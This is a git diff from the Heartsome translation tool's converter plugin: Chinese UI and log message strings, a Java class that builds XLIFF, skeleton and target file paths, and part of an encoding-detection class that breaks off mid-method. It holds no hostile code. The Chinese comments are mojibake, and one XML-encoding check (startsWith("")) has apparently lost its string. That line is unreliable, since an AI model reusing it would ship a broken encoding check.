\u6587\u4ef6\u4e2d\u7684\u6240\u6709\u6587\u672c\u6bb5\u5165\u5e93\uff1b\n2. \u5907\u4efd\u8be5 XLIFF \u6587\u4ef6\uff08\u76f4\u63a5\u590d\u5236 XLIFF \u6587\u4ef6\u5939\u6216\u5bfc\u51fa\u6574\u4e2a\u9879\u76ee\uff09\uff1b\n3. \u91cd\u65b0\u8f6c\u6362\u6e90\u6587\u4ef6\u4e3a XLIFF\u3001\u5e76\u9884\u7ffb\u8bd1\uff1b\n4. \u7528\u4e0a\u4e00\u6b65\u5f97\u5230\u7684 XLIFF \u6587\u4ef6\u518d\u6b21\u91cd\u8bd5\u6b64\u6b21\u8f6c\u6362\u3002 +model.ConverterViewModel.msg8 = \u8bf7\u9009\u62e9\u6587\u4ef6\u7c7b\u578b\u3002 +model.ConverterViewModel.msg9 = Microsoft Office 2003 \u6587\u6863\u4e3a\u95f4\u63a5\u652f\u6301\u7684\u6587\u4ef6\u683c\u5f0f\u3002\n\u8bf7\u5148\u5b89\u88c5 OpenOffice/LibreOffice\uff0c\u5e76\u5728\u5de5\u5177 > \u9009\u9879 > \u7ffb\u8bd1\u4e2d\u8bbe\u7f6e\u5176\u5b89\u88c5\u8def\u5f84\uff0c\u7136\u540e\u91cd\u8bd5\u3002 +model.ConverterViewModel.logger1 = [LOG] \u521b\u5efa\u9aa8\u67b6\u6587\u4ef6\uff1a{0} \u5931\u8d25\u3002 +model.ConverterViewModel.logger2 = [LOG] \u5df2\u53d6\u6d88\u64cd\u4f5c\u3002 +model.ConverterViewModel.logger3 = [LOG] \u8f6c\u6362\u6587\u4ef6\uff1a{0} \u5931\u8d25\u3002 +model.ConverterViewModel.logger4 = [LOG] \u521b\u5efa\u76ee\u6807\u6587\u4ef6\uff1a{0} \u5931\u8d25\u3002 +model.ReverseConversionValidateWithLibrary3.task1 = \u6b63\u5728\u5206\u6790 XLIFF \u6587\u4ef6... +model.ReverseConversionValidateWithLibrary3.msg1 = \u8be5 XLIFF \u6587\u4ef6\u5bf9\u5e94\u7684\u9aa8\u67b6\u6587\u4ef6\u4e0d\u5b58\u5728\u3002\n\u8bf7\u786e\u8ba4\u9879\u76ee Intermediate/SKL \u76ee\u5f55\u4e0b\u5b58\u5728\u4e0e\u8be5 XLIFF \u540c\u540d\u3001\u540e\u7f00\u540d\u4e3a .skl \u7684\u9aa8\u67b6\u6587\u4ef6\u3002\u82e5\u4e0d\u5b58\u5728\uff0c\u8bf7\u5c1d\u8bd5\u6309\u5982\u4e0b\u6b65\u9aa4\u4fee\u590d\uff1a\n1. \u5c06\u8be5 XLIFF \u6587\u4ef6\u4e2d\u7684\u6240\u6709\u6587\u672c\u6bb5\u5165\u5e93\uff1b\n2. \u5907\u4efd\u8be5 XLIFF \u6587\u4ef6\uff08\u76f4\u63a5\u590d\u5236 XLIFF \u6587\u4ef6\u5939\u6216\u5bfc\u51fa\u6574\u4e2a\u9879\u76ee\uff09\uff1b\n3. \u91cd\u65b0\u8f6c\u6362\u6e90\u6587\u4ef6\u4e3a XLIFF\u3001\u5e76\u9884\u7ffb\u8bd1\uff1b\n4. \u7528\u4e0a\u4e00\u6b65\u5f97\u5230\u7684 XLIFF \u6587\u4ef6\u518d\u6b21\u91cd\u8bd5\u6b64\u6b21\u8f6c\u6362\u3002 +model.ReverseConversionValidateWithLibrary3.msg2 = [LOG] \u5206\u6790 {0} \u5931\u8d25\u3002 +model.ReverseConversionValidateWithLibrary3.msg3 = \u5206\u6790 XLIFF \u6587\u4ef6\u5931\u8d25\u3002 +model.ReverseConversionValidateWithLibrary3.msg4 = \u65e0\u6cd5\u8f6c\u6362\uff1a\u8be5 XLIFF \u6587\u4ef6\u672a\u8bbe\u7f6e\u76ee\u6807\u8bed\u8a00\u3002 +model.ReverseConversionValidateWithLibrary3.msg5 = xml\:lang +model.ReverseConversionValidateWithLibrary3.logger1 = [LOG] \u5f00\u59cb\u5206\u6790 XLIFF \u6587\u4ef6\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger2 = [LOG] \u5206\u6790\u7684 XLIFF \u6587\u4ef6\u5927\u5c0f\u4e3a\uff08\u5b57\u8282\uff09\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger3 = [LOG] \u5f00\u59cb\u52a0\u8f7d XLIFF \u6587\u4ef6\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger4 = [LOG] \u52a0\u8f7d XLIFF \u6587\u4ef6\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger5 = [LOG] \u52a0\u8f7d XLIFF \u7528\u65f6\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger6 = [LOG] \u5f00\u59cb\u5904\u7406\u83b7\u5f97\u9aa8\u67b6\u6587\u4ef6\u7684\u903b\u8f91\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger7 = [LOG] \u83b7\u5f97\u9aa8\u67b6\u6587\u4ef6\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger8 = [LOG] \u83b7\u5f97\u9aa8\u67b6\u6587\u4ef6\u7528\u65f6\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger9 = [LOG] \u5f00\u59cb\u521b\u5efa\u6587\u672c\u6bb5\u5217\u8868\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger10 = [LOG] \u521b\u5efa\u6587\u672c\u6bb5\u5217\u8868\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger11 = [LOG] \u521b\u5efa\u6587\u672c\u6bb5\u5217\u8868\u7528\u65f6\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger12 = [LOG] \u5206\u6790 XLIFF \u6587\u4ef6\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger13 = [LOG] \u5206\u6790 XLIFF \u6587\u4ef6\u603b\u7528\u65f6\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger14 = [LOG] \u5728\u91cd\u65b0\u751f\u6210 XLIFF \u6587\u4ef6\u8fc7\u7a0b\u4e2d\uff0c\u5f00\u59cb\u5904\u7406\u6587\u672c\u6bb5\u5217\u8868\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger15 = [LOG] \u5728\u91cd\u65b0\u751f\u6210 XLIFF \u6587\u4ef6\u8fc7\u7a0b\u4e2d\uff0c\u7ec8\u6b62\u5904\u7406 segments \u5217\u8868\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger16 = [LOG] \u5728\u91cd\u65b0\u751f\u6210 XLIFF \u6587\u4ef6\u8fc7\u7a0b\u4e2d\uff0c\u5bf9 segments \u5217\u8868\u7684\u5904\u7406\u7528\u65f6\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger17 = [LOG] \u5728\u91cd\u65b0\u751f\u6210 XLIFF \u6587\u4ef6\u8fc7\u7a0b\u4e2d\uff0c\u5f00\u59cb\u8c03\u7528 XMLOutputter \u7684 Output \u65b9\u6cd5\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger18 = [LOG] \u5728\u91cd\u65b0\u751f\u6210 XLIFF \u6587\u4ef6\u8fc7\u7a0b\u4e2d\uff0c\u8c03\u7528 XMLOutputter \u7684 Output \u65b9\u6cd5\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +model.ReverseConversionValidateWithLibrary3.logger19 = [LOG] \u5728\u91cd\u65b0\u751f\u6210 XLIFF \u6587\u4ef6\u8fc7\u7a0b\u4e2d\uff0c\u8c03\u7528 XMLOutputter \u7684 Output \u65b9\u6cd5\u7528\u65f6\uff1a{} + +utils.ConversionResource.msg1 = \u8be5\u6587\u4ef6\u4e0d\u5b58\u5728\uff0c\u8bf7\u786e\u8ba4\u9009\u62e9\u4e86\u6709\u6548\u7684\u6587\u4ef6\uff1a +utils.ConversionResource.msg2 = \u65e0\u6cd5\u83b7\u53d6\u6e90\u6587\u4ef6\u8def\u5f84\u3002\u8f6c\u6362\u5668\u8f6c\u6362\u65b9\u5411\uff1a +utils.ConversionResource.msg3 = \u65e0\u6cd5\u83b7\u53d6\u9aa8\u67b6\u6587\u4ef6\u8def\u5f84\u3002\u8f6c\u6362\u5668\u8f6c\u6362\u65b9\u5411\uff1a +utils.ConversionResource.msg4 = \u65e0\u6cd5\u83b7\u53d6\u76ee\u6807\u6587\u4ef6\u8def\u5f84\u3002\u8f6c\u6362\u5668\u8f6c\u6362\u65b9\u5411\uff1a + +wizard.ConversionWizard.title = \u8f6c\u6362\u6e90\u6587\u4ef6\u4e3a XLIFF +wizard.ConversionWizard.pageName = \u8f6c\u6362\u9009\u9879\u8bbe\u7f6e +wizard.ConversionWizardPage.title = \u4ee5\u4e0b\u6587\u4ef6\u5c06\u88ab\u8f6c\u6362\u4e3a XLIFF \u683c\u5f0f +wizard.ConversionWizardPage.description = \u8bf7\u8bbe\u7f6e\u5b83\u4eec\u7684\u6587\u4ef6\u5c5e\u6027\u53ca\u8f6c\u6362\u9009\u9879\u3002 +wizard.ConversionWizardPage.langComposite = \u6587\u4ef6\u5c5e\u6027 +wizard.ConversionWizardPage.formatLabel = \u683c\u5f0f\uff1a +wizard.ConversionWizardPage.srcEncLabel = \u7f16\u7801\uff1a +wizard.ConversionWizardPage.options = \u8f6c\u6362\u9009\u9879 +wizard.ConversionWizardPage.btnReplaceTarget = \u8986\u76d6\u540c\u540d\u6587\u4ef6 +wizard.ConversionWizardPage.tgtLangLbl = \u76ee\u6807\u8bed\u8a00\uff1a +wizard.ConversionWizardPage.segmentation = \u5206\u6bb5\u89c4\u5219 +wizard.ConversionWizardPage.segLabel = SRX \u6587\u4ef6\uff1a +wizard.ConversionWizardPage.segBrowse = \u6d4f\u89c8(&B)... +wizard.ConversionWizardPage.msg1 = \u8bf7\u9009\u62e9\u76ee\u6807\u8bed\u8a00 +wizard.ConversionWizardPage.msg2 = \u6587\u4ef6 {0}\uff1a +wizard.ConversionWizardPage.lineNumColumn = \u5e8f\u53f7 +wizard.ConversionWizardPage.sourceColumn = \u6e90\u6587\u4ef6 +wizard.ConversionWizardPage.formatColumn = \u683c\u5f0f +wizard.ConversionWizardPage.srcEncColumn = \u7f16\u7801 +wizard.ConversionWizardPage.btnOpenPreTrans = \u9884\u7ffb\u8bd1 +wizard.ConversionWizardPage.logger = [LOG] \u5728\u8f6c\u6362\u5668\u4e2d\u83b7\u53d6\u63d2\u4ef6\u8def\u5f84\u51fa\u9519\uff0c\u63d2\u4ef6 ID: net.heartsome.cat.ts.ui +wizard.ReverseConversionWizard.title = \u8f6c\u6362 XLIFF \u4e3a\u76ee\u6807\u6587\u4ef6 +wizard.ReverseConversionWizard.pageName = \u8f6c\u6362\u9009\u9879\u8bbe\u7f6e +wizard.ReverseConversionWizardPage.title = \u4ee5\u4e0b XLIFF \u6587\u4ef6\u5c06\u88ab\u8f6c\u6362\u4e3a\u76ee\u6807\u8bed\u8a00\u6587\u4ef6 +wizard.ReverseConversionWizardPage.langComposite = \u6587\u4ef6\u5c5e\u6027 +wizard.ReverseConversionWizardPage.tgtEncLabel = \u7f16\u7801\uff1a +wizard.ReverseConversionWizardPage.options = \u8f6c\u6362\u9009\u9879 +wizard.ReverseConversionWizardPage.btnReplaceTarget = \u8986\u76d6\u540c\u540d\u6587\u4ef6 +wizard.ReverseConversionWizardPage.task1 = \u9a8c\u8bc1\u5f85\u8f6c\u6362\u7684 XLIFF +wizard.ReverseConversionWizardPage.task2 = \u6b63\u5728\u8fdb\u884c\u8f6c\u6362\u9a8c\u8bc1... +wizard.ReverseConversionWizardPage.msg1 = \u6587\u4ef6 {0}\uff1a +wizard.ReverseConversionWizardPage.lineNumberColumn = \u5e8f\u53f7 +wizard.ReverseConversionWizardPage.xliffColumn = XLIFF \u6587\u4ef6 +wizard.ReverseConversionWizardPage.tgtEncColumn = \u7f16\u7801 +wizard.ReverseConversionWizardPage.targetColumn = \u76ee\u6807\u6587\u4ef6 + + +########################## 2012-08-08 \u6dfb\u52a0 ########################################### +utils.FileFormatUtils.MIF = Adobe FrameMaker \u4ea4\u6362\u683c\u5f0f (MIF) +utils.FileFormatUtils.IDML = Adobe InDesign \u6807\u8bb0 (IDML) +utils.FileFormatUtils.INX = Adobe InDesign \u4ea4\u6362\u6587\u6863 (INX) +utils.FileFormatUtils.DU = D\u00e9j\u00e0 Vu XLIFF \u6587\u4ef6 (XLF) +utils.FileFormatUtils.RTF = \u5bcc\u6587\u672c\u683c\u5f0f (RTF) +utils.FileFormatUtils.PO = GNU gettext \u53ef\u79fb\u690d\u5bf9\u8c61 (PO) +utils.FileFormatUtils.JAVA = Java \u8d44\u6e90\u6587\u4ef6 (PROPERTIES) +utils.FileFormatUtils.JS = JavaScript \u811a\u672c (JS) +utils.FileFormatUtils.MQ = MemoQ 6.x \u6587\u6863 (MQXLZ) +utils.FileFormatUtils.MS = Microsoft Office 97-2004 \u6587\u6863 (DOC, XLS, PPT) +utils.FileFormatUtils.OFF = Microsoft Office \u6587\u6863 (DOCX, XLSX, PPTX) +utils.FileFormatUtils.MSEXCEL = Microsoft Excel \u5de5\u4f5c\u7c3f (XLSX) +utils.FileFormatUtils.PPTX = Microsoft PowerPoint \u6f14\u793a\u6587\u7a3f (PPTX) +utils.FileFormatUtils.MSWORD2007 = Microsoft Word \u6587\u6863 (DOCX) +utils.FileFormatUtils.OO = OpenOffice \u6587\u6863 (ODT, ODS, ODP, ODG) +utils.FileFormatUtils.TRTF = SDL Trados \u53cc\u8bed RTF \u6587\u4ef6 (RTF) +utils.FileFormatUtils.SDL = SDL Trados XLIFF \u6587\u4ef6 (SDLXLIFF) +utils.FileFormatUtils.TTX = SDL TRADOStag \u53cc\u8bed\u6587\u4ef6 (TTX) +utils.FileFormatUtils.HTML = \u7f51\u9875\u6587\u4ef6 (HTM, HTML) +utils.FileFormatUtils.TEXT = \u6587\u672c\u6587\u4ef6 (TXT) +utils.FileFormatUtils.RESX = Windows .NET \u8d44\u6e90\u6587\u4ef6 (RESX) +utils.FileFormatUtils.RC = Windows C/C++ \u8d44\u6e90\u6587\u4ef6 (RC) +utils.FileFormatUtils.XML = XML \u6587\u4ef6 (XML) +utils.FileFormatUtils.WF = Wordfast Pro \u53cc\u8bed XML \u6587\u4ef6 (TXML) + +# XML (Generic) \u4ee3\u7801\u4e2d\u672a\u7528\u5230\uff0c\u56e0\u6b64\u5148\u6ce8\u91ca\u4e0b\u884c\u5185\u5bb9 +#utils.FileFormatUtils.XMLG = XML (Generic) + +########################## 2012-08-10 \u6dfb\u52a0 ########################################### +preference.FileTypePreferencePage.title = \u6587\u4ef6\u7c7b\u578b +preference.FileTypePreferencePage.imageLabel = \u8bf7\u9009\u62e9\u8981\u8bbe\u7f6e\u7684\u6587\u4ef6\u7c7b\u578b\u3002\n\n\u5728\u5c06\u5982\u4e0b\u7c7b\u578b\u7684\u6587\u4ef6\u8f6c\u6362\u4e3a XLIFF \u65f6\uff0c\u53ef\u4ee5\u81ea\u5b9a\u4e49\u6240\u9700\u8f6c\u6362\u6216\u6392\u9664\u7684\u5185\u5bb9\u3002 + +########################## 2012-08-28 \u6dfb\u52a0,\u6ce8\u91ca\u9aa8\u67b6\u5d4c\u5165\u540e ########################################### +model.ConverterViewModel.msg10 = \u8f6c\u6362\u6587\u4ef6\u65f6\uff0c\u751f\u6210\u4e2d\u95f4\u6587\u4ef6\u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5 +model.ConverterViewModel.msg11 = \u521b\u5efa\u9aa8\u67b6\u6587\u4ef6 {0} ,\u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5 +model.ConverterViewModel.msg12 = \u8f6c\u6362\u6587\u4ef6\u65f6\uff0c\u4e22\u5931\u4e2d\u95f4\u6587\u4ef6\uff0c\u8bf7\u91cd\u8bd5 +model.ConverterViewModel.msg13 = \u8f6c\u6362\u6587\u4ef6\u65f6\uff0c\u521b\u5efa XLIFF \u6587\u4ef6\u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5 + +wizard.ConversionWizardPage.selectfiledialog.title = \u6dfb\u52a0\u6587\u4ef6 +wizard.ConversionWizardPage.selectfiledialog.message = \u9009\u62e9\u9700\u8981\u6dfb\u52a0\u7684\u6587\u4ef6 +wizard.ConversionWizardPage.addbutton = \u6dfb\u52a0(&A)... +wizard.ConversionWizardPage.removebutton = \u79fb\u9664(&R) +wizard.ConversionWizardPage.removebutton.msg1 = \u8bf7\u4ece\u5de6\u4fa7\u5217\u8868\u4e2d\u9009\u62e9\u8981\u79fb\u9664\u7684\u9879\uff01 +wizard.ConversionWizardPage.removebutton.msg1.title = \u9519\u8bef + + + + +######################## 2012-11-20 ####################################### +handler.OpenConversionDialogHandler.finishLbl = \u8f6c\u6362 diff --git a/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/utils/ConversionResource.java b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/utils/ConversionResource.java new file mode 100644 index 0000000..1f921d7 --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/utils/ConversionResource.java @@ -0,0 +1,200 @@ +package net.heartsome.cat.convert.ui.utils; + +import java.io.File; + +import net.heartsome.cat.common.core.Constant; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.convert.ui.Activator; +import net.heartsome.cat.convert.ui.model.IConversionItem; +import net.heartsome.cat.convert.ui.resource.Messages; +import net.heartsome.cat.converter.Converter; + +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IProject; +import org.eclipse.core.resources.IWorkspaceRoot; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IPath; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Path; +import org.eclipse.core.runtime.Status; + +/** + * 本类用于管ç†è½¬æ¢çš„èµ„æº + * @author weachy + * @version + * @since JDK1.5 + */ +public class ConversionResource { + + private String direction; + + IWorkspaceRoot root = ResourcesPlugin.getWorkspace().getRoot(); // 工作空间的 root + + private IFile file; // æºæ–‡ä»¶ + + private IProject project; // 所在项目 + + private IPath projectRelativePath; // 项目路径 + + /** + * 本类用于管ç†è½¬æ¢çš„èµ„æº + * @param direction + * 转æ¢æ–¹å‘ + * @param conversionItem + * 转æ¢é¡¹ç›®å¯¹è±¡ + * @throws CoreException + */ + public ConversionResource(String direction, IConversionItem conversionItem) throws CoreException { + this(direction, conversionItem.getLocation()); + } + + /** + * 本类用于管ç†è½¬æ¢çš„èµ„æº + * @param direction + * 转æ¢æ–¹å‘ + * @param path + * ç»å¯¹è·¯å¾„ + * @throws CoreException + */ + public ConversionResource(String direction, String path) throws CoreException { + this(direction, new Path(path)); + } + + /** + * 本类用于管ç†è½¬æ¢çš„èµ„æº + * @param direction + * 转æ¢æ–¹å‘ + * @param location + * ç»å¯¹è·¯å¾„ + * @throws CoreException + */ + public ConversionResource(String direction, IPath location) throws CoreException { + this.direction = direction; + file = root.getFileForLocation(location); + if (file != null) { + project = file.getProject(); + projectRelativePath = file.getProjectRelativePath(); + if (projectRelativePath.segmentCount() > 1) { + projectRelativePath = projectRelativePath.removeFirstSegments(1); // 移除 project 下的第一级目录。 + } + } else { + throw new CoreException(new Status(IStatus.WARNING, Activator.PLUGIN_ID, Messages.getString("utils.ConversionResource.msg1") + location.toOSString())); + } + } + + /** + * 得到æºæ–‡ä»¶è·¯å¾„ + * @return ; + */ + public String getSourcePath() { + if (Converter.DIRECTION_POSITIVE.equals(direction)) { + return file.getFullPath().toOSString(); + } else { + throw new RuntimeException(Messages.getString("utils.ConversionResource.msg2") + direction); + } + } + + /** + * 得到 XLIFF 文件路径 + * @return ; + */ + public String getXliffPath() { + if (Converter.DIRECTION_POSITIVE.equals(direction)) { // æ­£å‘è½¬æ¢ + IPath projectPath = project.getFullPath(); // 得到项目路径 + IPath targetPath = projectRelativePath.addFileExtension(CommonFunction.R8XliffExtension); // 添加 hsxliff åŽç¼€å + // 放到 XLIFF 文件夹下 + String xliffFilePath = projectPath.append(Constant.FOLDER_XLIFF).append(targetPath).toOSString(); + return xliffFilePath; + } else { // åå‘è½¬æ¢ + return file.getFullPath().toOSString(); + } + } + + /** + * 得到骨架文件路径 + * @return ; + */ + public String getSkeletonPath() { + if (Converter.DIRECTION_POSITIVE.equals(direction)) { // æ­£å‘è½¬æ¢ + IPath projectPath = project.getFullPath(); // 得到项目路径 + IPath skeletonPath = projectRelativePath.addFileExtension("skl"); // 添加 skl åŽç¼€å + // 放到 SKL 文件夹下 + String skeletonFileFile = projectPath.append(Constant.FOLDER_INTERMEDDIATE).append(Constant.FOLDER_SKL).append(skeletonPath).toOSString(); + return skeletonFileFile; + } else { // åå‘è½¬æ¢ + throw new RuntimeException(Messages.getString("utils.ConversionResource.msg3") + direction); + } + } + + /** + * 得到目标文件路径 + * @return ; + */ + public String getTargetPath() { + return getTargetPath(Constant.FOLDER_TGT); + } + + /** + * 得到目标文件路径 + * @param tgtFolder + * 目标文件存放文件夹,默认值为{@link net.heartsome.cat.bean.Constant#FOLDER_TGT},默认情况下建议使用 {@link #getTargetPath()} + * @return ; + */ + public String getTargetPath(String tgtFolder) { + if (Converter.DIRECTION_POSITIVE.equals(direction)) { // æ­£å‘è½¬æ¢ + throw new RuntimeException(Messages.getString("utils.ConversionResource.msg4") + direction); + } else { + IPath projectPath = project.getFullPath(); // 得到项目路径 + String fileExtension = projectRelativePath.getFileExtension(); + IPath targetPath; + if (CommonFunction.R8XliffExtension.equalsIgnoreCase(fileExtension)) { + targetPath = projectRelativePath.removeFileExtension(); // 去除 .hsxliff åŽç¼€ + } else { + targetPath = projectRelativePath; + } + // 放到 Target 文件夹下 + String targetFilePath = projectPath.append(tgtFolder).append(targetPath).toOSString(); + return targetFilePath; + } + } + + /** + * 得到目标文件路径 + * @param tgtFolder + * 目标文件存放文件夹,默认值为{@link net.heartsome.cat.bean.Constant#FOLDER_TGT},默认情况下建议使用 {@link #getTargetPath()} + * @return ; + */ + public String getPreviewPath() { + if (Converter.DIRECTION_POSITIVE.equals(direction)) { // æ­£å‘è½¬æ¢ + throw new RuntimeException(Messages.getString("utils.ConversionResource.msg4") + direction); + } else { + IPath projectPath = project.getFullPath(); // 得到项目路径 + String fileExtension = projectRelativePath.getFileExtension(); + IPath targetPath; + if (CommonFunction.R8XliffExtension.equalsIgnoreCase(fileExtension)) { + targetPath = projectRelativePath.removeFileExtension(); // 去除 .hsxliff åŽç¼€ + } else { + targetPath = projectRelativePath; + } + // 放到 Intermediate/other 文件夹下 + String targetFilePath = projectPath.append(Constant.FOLDER_INTERMEDDIATE) + .append(Constant.FOLDER_OTHER).append(targetPath).toOSString(); + int index = targetFilePath.lastIndexOf("."); + if (index > -1 && index > targetFilePath.lastIndexOf(File.separatorChar)) { + targetFilePath = targetFilePath.substring(0, index) + "_Preview" + targetFilePath.substring(index); + } + return targetFilePath; + } + } + + public String getXliffDir() { + if (Converter.DIRECTION_POSITIVE.equals(direction)) { // æ­£å‘è½¬æ¢ + IPath projectPath = project.getFullPath(); + String xliffFilePath = projectPath.append(Constant.FOLDER_XLIFF).toOSString(); + return xliffFilePath; + } else { // åå‘è½¬æ¢ + return file.getFullPath().toOSString(); + } + } +} diff --git a/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/utils/EncodingResolver.java b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/utils/EncodingResolver.java new file mode 100644 index 0000000..998231e --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/utils/EncodingResolver.java @@ -0,0 +1,419 @@ +/* + * Created on 24-nov-2004 + * + */ +package net.heartsome.cat.convert.ui.utils; + +import java.io.BufferedReader; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileNotFoundException; +import java.io.FileReader; +import java.io.FileWriter; +import java.io.IOException; +import java.io.PrintWriter; +import java.util.StringTokenizer; +import java.util.regex.Matcher; +import java.util.regex.Pattern; +import java.util.zip.ZipEntry; +import java.util.zip.ZipInputStream; + +import net.heartsome.cat.common.core.Constant; +import net.heartsome.cat.common.util.FileEncodingDetector; +import net.heartsome.util.TextUtil; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * ç¼–ç åˆ†æžå·¥å…· + * @author Gonzalo Pennino Greco Copyright (c) 2004 Heartsome Holdings Pte. Ltd. http://www.heartsome.net + */ + +public class EncodingResolver { + + private static final Logger LOGGER = LoggerFactory.getLogger(EncodingResolver.class); + + /** + * This method returns the file encoding + * @param fileName + * @param fileType + * @return + */ + public static String getEncoding(String fileName, String fileType) { + if (fileType == null || fileName == null) { + return null; + } else if (fileType.equals(FileFormatUtils.OO) || fileType.equals(FileFormatUtils.OFF) + || fileType.equals(FileFormatUtils.PPTX) || fileType.equals(FileFormatUtils.MSEXCEl2007) + || fileType.equals(FileFormatUtils.MSWORD2007)) { + return "UTF-8"; + // fixed bug 424 by john. + } else if (fileType.equals(FileFormatUtils.MIF) || fileType.equals(FileFormatUtils.TEXT) + || fileType.equals(FileFormatUtils.JS) || fileType.equals(FileFormatUtils.JAVA) + || fileType.equals(FileFormatUtils.PO)) { + return FileEncodingDetector.detectFileEncoding(new File(fileName)); + } else if (fileType.equals(FileFormatUtils.SDL) || fileType.equals(FileFormatUtils.DU) + || fileType.equals(FileFormatUtils.MQ) ||fileType.equals(FileFormatUtils.WF)) { + return "UTF-8"; + } + if (fileType.equals(FileFormatUtils.RTF) || fileType.equals(FileFormatUtils.TRTF)) { + return getRTFEncoding(fileName); + } else if (fileType.equals(FileFormatUtils.XML) || fileType.equals(FileFormatUtils.TTX) + || fileType.equals(FileFormatUtils.RESX) || fileType.equals(FileFormatUtils.INX)) { + return getXMLEncoding(fileName); + } else if (fileType.equals(FileFormatUtils.RC)) { + return getRCEncoding(fileName); + } else if (fileType.equals(FileFormatUtils.IDML)) { + return getIDMLEncoding(fileName); + } else if (fileType.equals(FileFormatUtils.HTML)) { + return getHTMLEncoding(fileName); + } + return null; + } + + private static String getRCEncoding(String fileName) { + try { + FileInputStream input = new FileInputStream(fileName); + // read 4K bytes + int read = 4096; + if (input.available() < read) { + read = input.available(); + } + byte[] bytes = new byte[read]; + input.read(bytes); + input.close(); + String content = new String(bytes); + + if (content.indexOf("code_page(") != -1) { //$NON-NLS-1$ + String code = content.substring(content.indexOf("code_page(") + 10); //$NON-NLS-1$ + code = code.substring(0, code.indexOf(")")); //$NON-NLS-1$ + return RTF2JavaEncoding(code); + } + } catch (Exception e) { + return null; + } + return null; + } + + /** + * This method returns the most suitable encoding according to the file type + * @param fileType + * @return + */ + public static String getEncoding(String fileType) { + if (fileType == null) { + return null; + } else if (fileType.equals(FileFormatUtils.OO)) { + return "UTF-8"; //$NON-NLS-1$ + } else if (fileType.equals(FileFormatUtils.MIF)) { + return "US-ASCII"; //$NON-NLS-1$ + } else if (fileType.equals(FileFormatUtils.JAVA)) { + return "ISO-8859-1"; //$NON-NLS-1$ + } else if (fileType.equals(FileFormatUtils.TTX)) { + return "UTF-16LE"; //$NON-NLS-1$ + } else if (fileType.equals(FileFormatUtils.PO) || fileType.equals(FileFormatUtils.XML) + || fileType.equals(FileFormatUtils.INX)) { + return "UTF-8"; //$NON-NLS-1$ + } + return null; + } + + public static boolean isFixedEncoding(String fileType) { + if (fileType.equals(FileFormatUtils.OO) || + // fileType.equals(FileFormatUtils.MIF) || //Fixed a bug 1651 by john. + fileType.equals(FileFormatUtils.RTF) || fileType.equals(FileFormatUtils.TRTF)) { + return true; + } + return false; + } + + private static String getXMLEncoding(String fileName) { + // return UTF-8 as default + String result = "UTF-8"; //$NON-NLS-1$ + try { + // check if there is a BOM (byte order mark) + // at the start of the document + FileInputStream inputStream = new FileInputStream(fileName); + byte[] array = new byte[2]; + inputStream.read(array); + inputStream.close(); + byte[] lt = "<".getBytes(); //$NON-NLS-1$ + byte[] feff = { -1, -2 }; + byte[] fffe = { -2, -1 }; + if (array[0] != lt[0]) { + // there is a BOM, now check the order + if (array[0] == fffe[0] && array[1] == fffe[1]) { + return "UTF-16BE"; //$NON-NLS-1$ + } + if (array[0] == feff[0] && array[1] == feff[1]) { + return "UTF-16LE"; //$NON-NLS-1$ + } + } + // check declared encoding + FileReader input = new FileReader(fileName); + BufferedReader buffer = new BufferedReader(input); + String line = buffer.readLine(); + input.close(); + if (line.startsWith("")); //$NON-NLS-1$ + line = line.replaceAll("\'", "\""); //$NON-NLS-1$ //$NON-NLS-2$ + StringTokenizer tokenizer = new StringTokenizer(line); + while (tokenizer.hasMoreTokens()) { + String token = tokenizer.nextToken(); + if (token.startsWith("encoding")) { //$NON-NLS-1$ + result = token.substring(token.indexOf("\"") + 1, token.lastIndexOf("\"")); //$NON-NLS-1$ //$NON-NLS-2$ + } + } + } + } catch (Exception e) { + LOGGER.error("", e); + if (Constant.RUNNING_MODE == Constant.MODE_DEBUG) { + e.printStackTrace(); + } + + try { + File log = File.createTempFile("error", ".log", new File("logs")); + FileWriter writer = new FileWriter(log); + PrintWriter print = new PrintWriter(writer); + 